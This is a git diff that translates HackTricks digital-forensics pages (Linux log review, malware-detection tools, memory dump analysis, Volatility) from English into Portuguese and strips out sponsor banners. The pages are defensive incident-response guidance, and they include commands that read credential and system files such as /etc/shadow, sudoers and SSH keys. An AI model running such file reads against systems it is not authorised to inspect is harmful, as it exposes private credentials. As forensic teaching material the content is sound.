+- Use `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` para filtrar eventos de autenticação relevantes.
+- **/var/log/boot.log**: Contém mensagens de inicialização do sistema.
+- **/var/log/maillog** ou **/var/log/mail.log**: Registra atividades do servidor de e-mail, útil para rastrear serviços relacionados a e-mail.
+- **/var/log/kern.log**: Armazena mensagens do kernel, incluindo erros e avisos.
+- **/var/log/dmesg**: Contém mensagens do driver de dispositivo.
+- **/var/log/faillog**: Registra tentativas de login falhadas, auxiliando em investigações de violação de segurança.
+- **/var/log/cron**: Registra execuções de trabalhos cron.
+- **/var/log/daemon.log**: Rastreia atividades de serviços em segundo plano.
+- **/var/log/btmp**: Documenta tentativas de login falhadas.
+- **/var/log/httpd/**: Contém logs de erro e acesso do Apache HTTPD.
+- **/var/log/mysqld.log** ou **/var/log/mysql.log**: Registra atividades do banco de dados MySQL.
+- **/var/log/xferlog**: Registra transferências de arquivos FTP.
+- **/var/log/**: Sempre verifique se há logs inesperados aqui.
 
 > [!NOTE]
-> Linux system logs and audit subsystems may be disabled or deleted in an intrusion or malware incident. Because logs on Linux systems generally contain some of the most useful information about malicious activities, intruders routinely delete them. Therefore, when examining available log files, it is important to look for gaps or out of order entries that might be an indication of deletion or tampering.
+> Logs do sistema Linux e subsistemas de auditoria podem ser desativados ou excluídos em um incidente de intrusão ou malware. Como os logs em sistemas Linux geralmente contêm algumas das informações mais úteis sobre atividades maliciosas, intrusos rotineiramente os excluem. Portanto, ao examinar os arquivos de log disponíveis, é importante procurar lacunas ou entradas fora de ordem que possam ser uma indicação de exclusão ou adulteração.
 
-**Linux maintains a command history for each user**, stored in:
+**O Linux mantém um histórico de comandos para cada usuário**, armazenado em:
 
 - \~/.bash_history
 - \~/.zsh_history
@@ -297,42 +257,39 @@ Linux systems track user activities and system events through various log files.
 - \~/.python_history
 - \~/.\*\_history
 
-Moreover, the `last -Faiwx` command provides a list of user logins. Check it for unknown or unexpected logins.
+Além disso, o comando `last -Faiwx` fornece uma lista de logins de usuários. Verifique-o para logins desconhecidos ou inesperados.
 
-Check files that can grant extra rprivileges:
+Verifique arquivos que podem conceder privilégios extras:
 
-- Review `/etc/sudoers` for unanticipated user privileges that may have been granted.
-- Review `/etc/sudoers.d/` for unanticipated user privileges that may have been granted.
-- Examine `/etc/groups` to identify any unusual group memberships or permissions.
-- Examine `/etc/passwd` to identify any unusual group memberships or permissions.
+- Revise `/etc/sudoers` para privilégios de usuário não antecipados que podem ter sido concedidos.
+- Revise `/etc/sudoers.d/` para privilégios de usuário não antecipados que podem ter sido concedidos.
+- Examine `/etc/groups` para identificar quaisquer associações ou permissões de grupo incomuns.
+- Examine `/etc/passwd` para identificar quaisquer associações ou permissões de grupo incomuns.
 
-Some apps alse generates its own logs:
+Alguns aplicativos também geram seus próprios logs:
 
-- **SSH**: Examine _\~/.ssh/authorized_keys_ and _\~/.ssh/known_hosts_ for unauthorized remote connections.
-- **Gnome Desktop**: Look into _\~/.recently-used.xbel_ for recently accessed files via Gnome applications.
-- **Firefox/Chrome**: Check browser history and downloads in _\~/.mozilla/firefox_ or _\~/.config/google-chrome_ for suspicious activities.
-- **VIM**: Review _\~/.viminfo_ for usage details, such as accessed file paths and search history.
-- **Open Office**: Check for recent document access that may indicate compromised files.
-- **FTP/SFTP**: Review logs in _\~/.ftp_history_ or _\~/.sftp_history_ for file transfers that might be unauthorized.
-- **MySQL**: Investigate _\~/.mysql_history_ for executed MySQL queries, potentially revealing unauthorized database activities.
-- **Less**: Analyze _\~/.lesshst_ for usage history, including viewed files and commands executed.
-- **Git**: Examine _\~/.gitconfig_ and project _.git/logs_ for changes to repositories.
+- **SSH**: Examine _\~/.ssh/authorized_keys_ e _\~/.ssh/known_hosts_ para conexões remotas não autorizadas.
+- **Gnome Desktop**: Verifique _\~/.recently-used.xbel_ para arquivos acessados recentemente via aplicativos Gnome.
+- **Firefox/Chrome**: Verifique o histórico do navegador e downloads em _\~/.mozilla/firefox_ ou _\~/.config/google-chrome_ para atividades suspeitas.
+- **VIM**: Revise _\~/.viminfo_ para detalhes de uso, como caminhos de arquivos acessados e histórico de pesquisa.
+- **Open Office**: Verifique o acesso recente a documentos que pode indicar arquivos comprometidos.
+- **FTP/SFTP**: Revise logs em _\~/.ftp_history_ ou _\~/.sftp_history_ para transferências de arquivos que podem ser não autorizadas.
+- **MySQL**: Investigue _\~/.mysql_history_ para consultas MySQL executadas, potencialmente revelando atividades não autorizadas no banco de dados.
+- **Less**: Analise _\~/.lesshst_ para histórico de uso, incluindo arquivos visualizados e comandos executados.
+- **Git**: Examine _\~/.gitconfig_ e projeto _.git/logs_ para alterações em repositórios.
 
-### USB Logs
+### Logs de USB
 
-[**usbrip**](https://github.com/snovvcrash/usbrip) is a small piece of software written in pure Python 3 which parses Linux log files (`/var/log/syslog*` or `/var/log/messages*` depending on the distro) for constructing USB event history tables.
+[**usbrip**](https://github.com/snovvcrash/usbrip) é um pequeno software escrito em Python 3 puro que analisa arquivos de log do Linux (`/var/log/syslog*` ou `/var/log/messages*` dependendo da distribuição) para construir tabelas de histórico de eventos USB.
 
-It is interesting to **know all the USBs that have been used** and it will be more useful if you have an authorized list of USBs to find "violation events" (the use of USBs that aren't inside that list).
-
-### Installation
+É interessante **saber todos os USBs que foram usados** e será mais útil se você tiver uma lista autorizada de USBs para encontrar "eventos de violação" (o uso de USBs que não estão dentro dessa lista).
 
+### Instalação
 ```bash
 pip3 install usbrip
 usbrip ids download #Download USB ID database
 ```
-
-### Examples
-
+### Exemplos
 ```bash
 usbrip events history #Get USB history of your curent linux machine
 usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user
@@ -340,40 +297,30 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
 usbrip ids download #Downlaod database
 usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
 ```
+Mais exemplos e informações dentro do github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
 
-More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
+## Revisar Contas de Usuário e Atividades de Logon
 
-

+Examine o _**/etc/passwd**_, _**/etc/shadow**_ e **logs de segurança** em busca de nomes ou contas incomuns criadas e ou usadas em estreita proximidade com eventos não autorizados conhecidos. Além disso, verifique possíveis ataques de força bruta no sudo.\
+Além disso, verifique arquivos como _**/etc/sudoers**_ e _**/etc/groups**_ em busca de privilégios inesperados concedidos a usuários.\
+Finalmente, procure por contas com **sem senhas** ou **senhas facilmente adivinháveis**.
 
-\
-Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
+## Examinar Sistema de Arquivos
 
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
+### Analisando Estruturas de Sistema de Arquivos em Investigações de Malware
 
-## Review User Accounts and Logon Activities
+Ao investigar incidentes de malware, a estrutura do sistema de arquivos é uma fonte crucial de informações, revelando tanto a sequência de eventos quanto o conteúdo do malware. No entanto, os autores de malware estão desenvolvendo técnicas para dificultar essa análise, como modificar timestamps de arquivos ou evitar o sistema de arquivos para armazenamento de dados.
 
-Examine the _**/etc/passwd**_, _**/etc/shadow**_ and **security logs** for unusual names or accounts created and or used in close proximity to known unauthorized events. Also, check possible sudo brute-force attacks.\
-Moreover, check files like _**/etc/sudoers**_ and _**/etc/groups**_ for unexpected privileges given to users.\
-Finally, look for accounts with **no passwords** or **easily guessed** passwords.
-
-## Examine File System
-
-### Analyzing File System Structures in Malware Investigation
-
-When investigating malware incidents, the structure of the file system is a crucial source of information, revealing both the sequence of events and the malware's content. However, malware authors are developing techniques to hinder this analysis, such as modifying file timestamps or avoiding the file system for data storage.
-
-To counter these anti-forensic methods, it's essential to:
-
-- **Conduct a thorough timeline analysis** using tools like **Autopsy** for visualizing event timelines or **Sleuth Kit's** `mactime` for detailed timeline data.
-- **Investigate unexpected scripts** in the system's $PATH, which might include shell or PHP scripts used by attackers.
-- **Examine `/dev` for atypical files**, as it traditionally contains special files, but may house malware-related files.
-- **Search for hidden files or directories** with names like ".. " (dot dot space) or "..^G" (dot dot control-G), which could conceal malicious content.
-- **Identify setuid root files** using the command: `find / -user root -perm -04000 -print` This finds files with elevated permissions, which could be abused by attackers.
-- **Review deletion timestamps** in inode tables to spot mass file deletions, possibly indicating the presence of rootkits or trojans.
-- **Inspect consecutive inodes** for nearby malicious files after identifying one, as they may have been placed together.
-- **Check common binary directories** (_/bin_, _/sbin_) for recently modified files, as these could be altered by malware.
+Para combater esses métodos anti-forenses, é essencial:
 
+- **Realizar uma análise de linha do tempo completa** usando ferramentas como **Autopsy** para visualizar linhas do tempo de eventos ou `mactime` do **Sleuth Kit** para dados detalhados da linha do tempo.
+- **Investigar scripts inesperados** no $PATH do sistema, que podem incluir scripts shell ou PHP usados por atacantes.
+- **Examinar `/dev` em busca de arquivos atípicos**, pois tradicionalmente contém arquivos especiais, mas pode abrigar arquivos relacionados a malware.
+- **Procurar por arquivos ou diretórios ocultos** com nomes como ".. " (ponto ponto espaço) ou "..^G" (ponto ponto controle-G), que podem ocultar conteúdo malicioso.
+- **Identificar arquivos setuid root** usando o comando: `find / -user root -perm -04000 -print` Isso encontra arquivos com permissões elevadas, que podem ser abusadas por atacantes.
+- **Revisar timestamps de exclusão** em tabelas de inode para detectar exclusões em massa de arquivos, possivelmente indicando a presença de rootkits ou trojans.
+- **Inspecionar inodes consecutivos** em busca de arquivos maliciosos próximos após identificar um, pois podem ter sido colocados juntos.
+- **Verificar diretórios binários comuns** (_/bin_, _/sbin_) em busca de arquivos recentemente modificados, pois estes podem ter sido alterados por malware.
 ````bash
 # List recent files in a directory:
 ls -laR --sort=time /bin```
@@ -381,58 +328,43 @@ ls -laR --sort=time /bin```
 # Sort files in a directory by inode:
 ls -lai /bin | sort -n```
 ````
-
 > [!NOTE]
-> Note that an **attacker** can **modify** the **time** to make **files appear** **legitimate**, but he **cannot** modify the **inode**. If you find that a **file** indicates that it was created and modified at the **same time** as the rest of the files in the same folder, but the **inode** is **unexpectedly bigger**, then the **timestamps of that file were modified**.
+> Note que um **atacante** pode **modificar** o **tempo** para fazer **arquivos parecerem** **legítimos**, mas ele **não pode** modificar o **inode**. Se você descobrir que um **arquivo** indica que foi criado e modificado ao **mesmo tempo** que o restante dos arquivos na mesma pasta, mas o **inode** é **inesperadamente maior**, então os **timestamps desse arquivo foram modificados**.
 
-## Compare files of different filesystem versions
+## Comparar arquivos de diferentes versões de sistema de arquivos
 
-### Filesystem Version Comparison Summary
+### Resumo da Comparação de Versões de Sistema de Arquivos
 
-To compare filesystem versions and pinpoint changes, we use simplified `git diff` commands:
-
-- **To find new files**, compare two directories:
+Para comparar versões de sistema de arquivos e identificar mudanças, usamos comandos simplificados `git diff`:
 
+- **Para encontrar novos arquivos**, compare dois diretórios:
 ```bash
 git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
 ```
-
-- **For modified content**, list changes while ignoring specific lines:
-
+- **Para conteúdo modificado**, liste as alterações ignorando linhas específicas:
 ```bash
 git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
 ```
-
-- **To detect deleted files**:
-
+- **Para detectar arquivos deletados**:
 ```bash
 git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
 ```
+- **Opções de filtro** (`--diff-filter`) ajudam a restringir a mudanças específicas, como arquivos adicionados (`A`), deletados (`D`) ou modificados (`M`).
+- `A`: Arquivos adicionados
+- `C`: Arquivos copiados
+- `D`: Arquivos deletados
+- `M`: Arquivos modificados
+- `R`: Arquivos renomeados
+- `T`: Mudanças de tipo (por exemplo, arquivo para symlink)
+- `U`: Arquivos não mesclados
+- `X`: Arquivos desconhecidos
+- `B`: Arquivos corrompidos
 
-- **Filter options** (`--diff-filter`) help narrow down to specific changes like added (`A`), deleted (`D`), or modified (`M`) files.
-  - `A`: Added files
-  - `C`: Copied files
-  - `D`: Deleted files
-  - `M`: Modified files
-  - `R`: Renamed files
-  - `T`: Type changes (e.g., file to symlink)
-  - `U`: Unmerged files
-  - `X`: Unknown files
-  - `B`: Broken files
-
-## References
+## Referências
 
 - [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf)
 - [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
 - [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
-- **Book: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
+- **Livro: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
 
 {{#include ../../banners/hacktricks-training.md}}
-
-

-
-\
-Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md
index c7edd6650..5f6013cc3 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md
@@ -1,12 +1,12 @@
-# Malware Analysis
+# Análise de Malware
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Forensics CheatSheets
+## Cheatsheets de Forense
 
 [https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/)
 
-## Online Services
+## Serviços Online
 
 - [VirusTotal](https://www.virustotal.com/gui/home/upload)
 - [HybridAnalysis](https://www.hybrid-analysis.com)
@@ -14,136 +14,119 @@
 - [Intezer](https://analyze.intezer.com)
 - [Any.Run](https://any.run/)
 
-## Offline Antivirus and Detection Tools
+## Ferramentas de Antivírus e Detecção Offline
 
 ### Yara
 
-#### Install
-
+#### Instalar
 ```bash
 sudo apt-get install -y yara
 ```
+#### Prepare regras
 
-#### Prepare rules
-
-Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
-Create the _**rules**_ directory and execute it. This will create a file called _**malware_rules.yar**_ which contains all the yara rules for malware.
-
+Use este script para baixar e mesclar todas as regras yara de malware do github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
+Crie o diretório _**rules**_ e execute-o. Isso criará um arquivo chamado _**malware_rules.yar**_ que contém todas as regras yara para malware.
 ```bash
 wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
 mkdir rules
 python malware_yara_rules.py
 ```
-
-#### Scan
-
+#### Escanear
 ```bash
 yara -w malware_rules.yar image  #Scan 1 file
 yara -w malware_rules.yar folder #Scan the whole folder
 ```
+#### YaraGen: Verifique se há malware e crie regras
 
-#### YaraGen: Check for malware and Create rules
-
-You can use the tool [**YaraGen**](https://github.com/Neo23x0/yarGen) to generate yara rules from a binary. Check out these tutorials: [**Part 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Part 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Part 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/)
-
+Você pode usar a ferramenta [**YaraGen**](https://github.com/Neo23x0/yarGen) para gerar regras yara a partir de um binário. Confira estes tutoriais: [**Parte 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Parte 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Parte 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/)
 ```bash
- python3 yarGen.py --update
- python3.exe yarGen.py --excludegood -m  ../../mals/
+python3 yarGen.py --update
+python3.exe yarGen.py --excludegood -m  ../../mals/
 ```
-
 ### ClamAV
 
-#### Install
-
+#### Instalar
 ```
 sudo apt-get install -y clamav
 ```
-
-#### Scan
-
+#### Escanear
 ```bash
 sudo freshclam      #Update rules
 clamscan filepath   #Scan 1 file
 clamscan folderpath #Scan the whole folder
 ```
-
 ### [Capa](https://github.com/mandiant/capa)
 
-**Capa** detects potentially malicious **capabilities** in executables: PE, ELF, .NET. So it will find things such as Att\&ck tactics, or suspicious capabilities such as:
+**Capa** detecta **capacidades** potencialmente maliciosas em executáveis: PE, ELF, .NET. Assim, encontrará coisas como táticas do Att\&ck, ou capacidades suspeitas como:
 
-- check for OutputDebugString error
-- run as a service
-- create process
+- verificar erro de OutputDebugString
+- executar como um serviço
+- criar processo
 
-Get it int he [**Github repo**](https://github.com/mandiant/capa).
+Obtenha no [**Github repo**](https://github.com/mandiant/capa).
 
 ### IOCs
 
-IOC means Indicator Of Compromise. An IOC is a set of **conditions that identify** some potentially unwanted software or confirmed **malware**. Blue Teams use this kind of definition to **search for this kind of malicious files** in their **systems** and **networks**.\
-To share these definitions is very useful as when malware is identified in a computer and an IOC for that malware is created, other Blue Teams can use it to identify the malware faster.
+IOC significa Indicador de Compromisso. Um IOC é um conjunto de **condições que identificam** algum software potencialmente indesejado ou **malware** confirmado. As Blue Teams usam esse tipo de definição para **procurar por esse tipo de arquivos maliciosos** em seus **sistemas** e **redes**.\
+Compartilhar essas definições é muito útil, pois quando o malware é identificado em um computador e um IOC para esse malware é criado, outras Blue Teams podem usá-lo para identificar o malware mais rapidamente.
 
-A tool to create or modify IOCs is [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\
-You can use tools such as [**Redline**](https://www.fireeye.com/services/freeware/redline.html) to **search for defined IOCs in a device**.
+Uma ferramenta para criar ou modificar IOCs é [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\
+Você pode usar ferramentas como [**Redline**](https://www.fireeye.com/services/freeware/redline.html) para **procurar por IOCs definidos em um dispositivo**.
 
 ### Loki
 
-[**Loki**](https://github.com/Neo23x0/Loki) is a scanner for Simple Indicators of Compromise.\
-Detection is based on four detection methods:
-
+[**Loki**](https://github.com/Neo23x0/Loki) é um scanner para Indicadores Simples de Compromisso.\
+A detecção é baseada em quatro métodos de detecção:
 ```
 1. File Name IOC
-   Regex match on full file path/name
+Regex match on full file path/name
 
 2. Yara Rule Check
-   Yara signature matches on file data and process memory
+Yara signature matches on file data and process memory
 
 3. Hash Check
-   Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
+Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
 
 4. C2 Back Connect Check
-   Compares process connection endpoints with C2 IOCs (new since version v.10)
+Compares process connection endpoints with C2 IOCs (new since version v.10)
 ```
-
 ### Linux Malware Detect
 
-[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) is a malware scanner for Linux released under the GNU GPLv2 license, that is designed around the threats faced in shared hosted environments. It uses threat data from network edge intrusion detection systems to extract malware that is actively being used in attacks and generates signatures for detection. In addition, threat data is also derived from user submissions with the LMD checkout feature and malware community resources.
+[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) é um scanner de malware para Linux lançado sob a licença GNU GPLv2, que é projetado em torno das ameaças enfrentadas em ambientes de hospedagem compartilhada. Ele usa dados de ameaças de sistemas de detecção de intrusões na borda da rede para extrair malware que está sendo ativamente utilizado em ataques e gera assinaturas para detecção. Além disso, os dados de ameaças também são derivados de envios de usuários com o recurso de checkout do LMD e recursos da comunidade de malware.
 
 ### rkhunter
 
-Tools like [**rkhunter**](http://rkhunter.sourceforge.net) can be used to check the filesystem for possible **rootkits** and malware.
-
+Ferramentas como [**rkhunter**](http://rkhunter.sourceforge.net) podem ser usadas para verificar o sistema de arquivos em busca de possíveis **rootkits** e malware.
 ```bash
 sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
 ```
-
 ### FLOSS
 
-[**FLOSS**](https://github.com/mandiant/flare-floss) is a tool that will try to find obfuscated strings inside executables using different techniques.
+[**FLOSS**](https://github.com/mandiant/flare-floss) é uma ferramenta que tentará encontrar strings ofuscadas dentro de executáveis usando diferentes técnicas.
 
 ### PEpper
 
-[PEpper ](https://github.com/Th3Hurrican3/PEpper)checks some basic stuff inside the executable (binary data, entropy, URLs and IPs, some yara rules).
+[PEpper](https://github.com/Th3Hurrican3/PEpper) verifica algumas informações básicas dentro do executável (dados binários, entropia, URLs e IPs, algumas regras yara).
 
 ### PEstudio
 
-[PEstudio](https://www.winitor.com/download) is a tool that allows to get information of Windows executables such as imports, exports, headers, but also will check virus total and find potential Att\&ck techniques.
+[PEstudio](https://www.winitor.com/download) é uma ferramenta que permite obter informações de executáveis do Windows, como imports, exports, cabeçalhos, mas também verificará o virus total e encontrará técnicas potenciais do Att\&ck.
 
 ### Detect It Easy(DiE)
 
-[**DiE**](https://github.com/horsicq/Detect-It-Easy/) is a tool to detect if a file is **encrypted** and also find **packers**.
+[**DiE**](https://github.com/horsicq/Detect-It-Easy/) é uma ferramenta para detectar se um arquivo está **criptografado** e também encontrar **empacotadores**.
 
 ### NeoPI
 
-[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI)is a Python script that uses a variety of **statistical methods** to detect **obfuscated** and **encrypted** content within text/script files. The intended purpose of NeoPI is to aid in the **detection of hidden web shell code**.
+[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI) é um script Python que usa uma variedade de **métodos estatísticos** para detectar conteúdo **ofuscado** e **criptografado** dentro de arquivos de texto/script. O objetivo pretendido do NeoPI é ajudar na **detecção de código de shell web oculto**.
 
 ### **php-malware-finder**
 
-[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) does its very best to detect **obfuscated**/**dodgy code** as well as files using **PHP** functions often used in **malwares**/webshells.
+[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) faz o seu melhor para detectar **código ofuscado**/**suspeito**, bem como arquivos que usam funções **PHP** frequentemente utilizadas em **malwares**/webshells.
 
 ### Apple Binary Signatures
 
-When checking some **malware sample** you should always **check the signature** of the binary as the **developer** that signed it may be already **related** with **malware.**
-
+Ao verificar alguma **amostra de malware**, você deve sempre **verificar a assinatura** do binário, pois o **desenvolvedor** que o assinou pode já estar **relacionado** com **malware.**
 ```bash
 #Get signer
 codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
@@ -154,19 +137,18 @@ codesign --verify --verbose /Applications/Safari.app
 #Check if the signature is valid
 spctl --assess --verbose /Applications/Safari.app
 ```
+## Técnicas de Detecção
 
-## Detection Techniques
+### Empilhamento de Arquivos
 
-### File Stacking
+Se você souber que alguma pasta contendo os **arquivos** de um servidor web foi **atualizada pela última vez em alguma data**. **Verifique** a **data** em que todos os **arquivos** no **servidor web foram criados e modificados** e se alguma data é **suspeita**, verifique esse arquivo.
 
-If you know that some folder containing the **files** of a web server was **last updated on some date**. **Check** the **date** all the **files** in the **web server were created and modified** and if any date is **suspicious**, check that file.
+### Linhas de Base
 
-### Baselines
+Se os arquivos de uma pasta **não deveriam ter sido modificados**, você pode calcular o **hash** dos **arquivos originais** da pasta e **compará-los** com os **atuais**. Qualquer modificação será **suspeita**.
 
-If the files of a folder **shouldn't have been modified**, you can calculate the **hash** of the **original files** of the folder and **compare** them with the **current** ones. Anything modified will be **suspicious**.
+### Análise Estatística
 
-### Statistical Analysis
-
-When the information is saved in logs you can **check statistics like how many times each file of a web server was accessed as a web shell might be one of the most**.
+Quando as informações são salvas em logs, você pode **verificar estatísticas como quantas vezes cada arquivo de um servidor web foi acessado, pois um web shell pode ser um dos mais**.
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md
index 1c8be749a..44e069f94 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md
@@ -1,49 +1,37 @@
-# Memory dump analysis
+# Análise de despejo de memória
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-

+## Início
 
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
-
-{% embed url="https://www.rootedcon.com/" %}
-
-## Start
-
-Start **searching** for **malware** inside the pcap. Use the **tools** mentioned in [**Malware Analysis**](../malware-analysis.md).
+Comece **procurando** por **malware** dentro do pcap. Use as **ferramentas** mencionadas em [**Análise de Malware**](../malware-analysis.md).
 
 ## [Volatility](volatility-cheatsheet.md)
 
-**Volatility is the main open-source framework for memory dump analysis**. This Python tool analyzes dumps from external sources or VMware VMs, identifying data like processes and passwords based on the dump's OS profile. It's extensible with plugins, making it highly versatile for forensic investigations.
+**Volatility é o principal framework de código aberto para análise de despejo de memória**. Esta ferramenta Python analisa despejos de fontes externas ou VMs VMware, identificando dados como processos e senhas com base no perfil do SO do despejo. É extensível com plugins, tornando-a altamente versátil para investigações forenses.
 
-[**Find here a cheatsheet**](volatility-cheatsheet.md)
+[**Encontre aqui um cheatsheet**](volatility-cheatsheet.md)
 
-## Mini dump crash report
+## Relatório de falha de mini despejo
 
-When the dump is small (just some KB, maybe a few MB) then it's probably a mini dump crash report and not a memory dump.
+Quando o despejo é pequeno (apenas alguns KB, talvez alguns MB), então provavelmente é um relatório de falha de mini despejo e não um despejo de memória.
 
 ![](<../../../images/image (532).png>)
 
-If you have Visual Studio installed, you can open this file and bind some basic information like process name, architecture, exception info and modules being executed:
+Se você tiver o Visual Studio instalado, pode abrir este arquivo e vincular algumas informações básicas, como nome do processo, arquitetura, informações de exceção e módulos sendo executados:
 
 ![](<../../../images/image (263).png>)
 
-You can also load the exception and see the decompiled instructions
+Você também pode carregar a exceção e ver as instruções decompiladas
 
 ![](<../../../images/image (142).png>)
 
 ![](<../../../images/image (610).png>)
 
-Anyway, Visual Studio isn't the best tool to perform an analysis of the depth of the dump.
+De qualquer forma, o Visual Studio não é a melhor ferramenta para realizar uma análise da profundidade do despejo.
 
-You should **open** it using **IDA** or **Radare** to inspection it in **depth**.
+Você deve **abri-lo** usando **IDA** ou **Radare** para inspecioná-lo em **profundidade**.
 
 ​
 
-

-
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
-
-{% embed url="https://www.rootedcon.com/" %}
-
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md
index f6a63c08f..80e99fc8a 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md
@@ -4,13 +4,8 @@
 
 ​
 
-

-
-​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
-
-{% embed url="https://www.rootedcon.com/" %}
-If you need a tool that automates memory analysis with different scan levels and runs multiple Volatility3 plugins in parallel, you can use autoVolatility3:: [https://github.com/H3xKatana/autoVolatility3/](https://github.com/H3xKatana/autoVolatility3/)
 
+Se você precisa de uma ferramenta que automatize a análise de memória com diferentes níveis de varredura e execute vários plugins do Volatility3 em paralelo, você pode usar autoVolatility3:: [https://github.com/H3xKatana/autoVolatility3/](https://github.com/H3xKatana/autoVolatility3/)
 ```bash
 # Full scan (runs all plugins)
 python3 autovol3.py -f MEMFILE -o OUT_DIR -s full
@@ -22,66 +17,57 @@ python3 autovol3.py -f MEMFILE -o OUT_DIR -s minimal
 python3 autovol3.py -f MEMFILE -o OUT_DIR -s normal
 
 ```
-
-If you want something **fast and crazy** that will launch several Volatility plugins on parallel you can use: [https://github.com/carlospolop/autoVolatility](https://github.com/carlospolop/autoVolatility)
-
+Se você quer algo **rápido e louco** que lançará vários plugins do Volatility em paralelo, você pode usar: [https://github.com/carlospolop/autoVolatility](https://github.com/carlospolop/autoVolatility)
 ```bash
 python autoVolatility.py -f MEMFILE -d OUT_DIRECTORY -e /home/user/tools/volatility/vol.py # It will use the most important plugins (could use a lot of space depending on the size of the memory)
 ```
-
-## Installation
+## Instalação
 
 ### volatility3
-
 ```bash
 git clone https://github.com/volatilityfoundation/volatility3.git
 cd volatility3
 python3 setup.py install
 python3 vol.py —h
 ```
-
